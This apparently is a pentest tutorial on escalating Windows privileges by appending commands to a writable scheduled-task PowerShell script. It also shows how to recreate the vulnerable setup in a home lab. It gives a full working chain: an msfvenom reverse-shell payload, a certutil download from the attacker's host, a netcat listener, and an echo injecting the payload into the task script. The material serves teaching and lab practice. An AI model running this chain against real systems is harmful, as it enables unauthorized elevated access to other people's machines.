Scheduled tasks are automated tasks that run on a predefined schedule or in response to a specific event on a Windows system. These tasks can be created by both system administrators and users, and can include a variety of actions such as running a script, launching an application, or sending an email. Its the same concept as cronjobs in Linux.
The vulnerability of scheduled tasks lies in the fact that the executables or scripts being run might have improper permissions. Scheduled tasks also often run with elevated privileges meaning if an attacker is able to modify the command or script that is executed by a scheduled task, they may be able to execute their own code with elevated privileges.
What you’ll learn
- How to enumerate for Scheduled Tasks
- How to exploit Scheduled Tasks
- How to replicate the same vulnerability in your home lab
Enumerating for Scheduled Tasks
In Windows, users with lower levels of privileges are prevented from viewing or modifying scheduled tasks that have been created by users with higher levels of privileges. For example, a task created by an Administrator will run with elevated privileges and can only be viewed or modified by other Administrators or users with equivalent permissions. This is a security measure designed to prevent unauthorized users from accessing sensitive information or executing potentially dangerous code. This means that tools such as schtasks won’t help us too much since we’re not able to automatically list all of the tasks and instead have to search for scripts/executables being run.
For the enumeration section of this post I’ll be manually looking for scripts or executables that perform periodic tasks.
Scenario: We have a shell as user1 and want to escalate privileges.
Lets look through the Windows machine manually. Enumerating the C:\ directory, we can see a “tasks” folder.
Inside the tasks folder, we see a “backup” folder which has the PowerShell script backup_php.ps1.
Lets read the script
According to the comments, the script seems to copy files from C:\xampp\htdocs to C:\backup\phpfiles every minute.
Lets check our permissions on this file using icacls
We seem to have full permissions on the file meaning we can write to it. From this enumeration, we can conclude that there is a powershell script running every minute that our user can edit.
Enumerating with schtasks
Like I mentioned previously, only users with high privileges are allowed to view tasks running with elevated permissions. But in a scenario where you ARE able to view tasks, you can follow the steps below to enumerate it with schtasks.
After running schtasks, the first task we see is the “backup” task. The first task will usually be the most recent one.
schtasks /query /fo list /v
The output can be very large so its recommended to narrow the search using “findstr” to remove the default tasks.
The command below will make the output a little smaller and exclude any tasks that are in the “C:Microsoft” or “C:OneDrive” directory:
schtasks /query /fo list | findstr /i /c:"TaskName:" | findstr /v /i /c:"Microsoft" | findstr /v /i /c:"OneDrive"
This time we only see the “backup” task.
If you want the full details on how the command works, go here
Exploiting the Scheduled task
Our goal is to either replace the backup_php.ps1 file with our own malicious PowerShell file or add code to the existing file. Replacing the backup_php.ps1 isn’t really a good idea because the user who created the script might not appreciate it.
Lets try to add a PowerShell command to the existing file. The command will run a reverse shell executable.
First, we have to create the reverse shell using msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.4.4 LPORT=53 --platform Windows -f exe > reverse.exe
To bring this reverse shell executable to the windows machine, we need to first host a python webserver on Kali
python3 -m http.server 80
Then, we can use certutil.exe on the Windows machine to download the file
certutil.exe -urlcache -f http://192.168.4.4/reverse.exe reverse.exe
Before we move forward, lets start a netcat listener on Kali on port 53
nc -lnvp 53
Next, we need to get the scheduled task to execute the reverse shell. To do this we can put the command “C:\Users\user1\reverse.exe” into the ps1 script. This will get the script to run our reverse shell. Lets use echo to send this command to the file.
echo C:\Users\user1\reverse.exe >> C:\tasks\backup\backup_php.ps1
Reading the file, we can see that it has the proper commands to execute the reverse shell.
type C:\tasks\backup\backup_php.ps1
After waiting for a minute or two, we get a shell on our netcat listener
Replicate the Vulnerability
First, you need to enable script executing on Power-shell. Open Power-shell as an Administrator and type the following:
Set-ExecutionPolicy RemoteSigned
Create a powershell script in C:\tasks\backup\. You don’t really need to add anything to the file, but it should exist.
Then open “Task Scheduler”
In task scheduler, click on “New Task”
Name the task and make sure to click the same options as the ones highlighted below.
Click on the “triggers” tab and click “new”.
Then make sure to set the correct options so the task repeats every 2 minutes.
Once thats done, click on the “Actions” tab and click “New”. Enter “powershell.exe” in the Program/Script textbox and add the path to the powershell script as the argument.
Once you’re done specifying the options for the task, it’ll ask you for the Admin Credentials. If your machine is part of a domain, you’ll also have to specify the Domain name before the username.
Open file explorer and navigate to C:\tasks\backup. Right click in file explorer and click properties. Then go to the security tab and click “Edit”
Then click on “Add” and enter the user that you’d like to make vulnerable. After that, click “ok” and make sure to give this user “Full control”
Extras
schtasks /query /fo list | findstr /i /c:"TaskName:" | findstr /v /i /c:"Microsoft" | findstr /v /i /c:"OneDrive"
schtasks /query /fo list
: This command queries the Windows Task Scheduler and returns a list of all scheduled tasks in a format that is easy to read.findstr /i /c:"TaskName:"
: This command searches the output of the previous command for lines that contain the text “TaskName:”. The/i
option specifies that the search should be case-insensitive.findstr /v /i /c:"Microsoft"
: This command filters out any lines that contain the text “Microsoft”. The/v
option specifies that the search should be inverted, meaning that only lines that do not contain the specified text will be returned.findstr /v /i /c:"OneDrive"
: This command further filters out any lines that contain the text “OneDrive”. Again, the/v
option is used to invert the search and only return lines that do not contain the specified text.
Thank you for reading! Be sure to share this post if you found it helpful.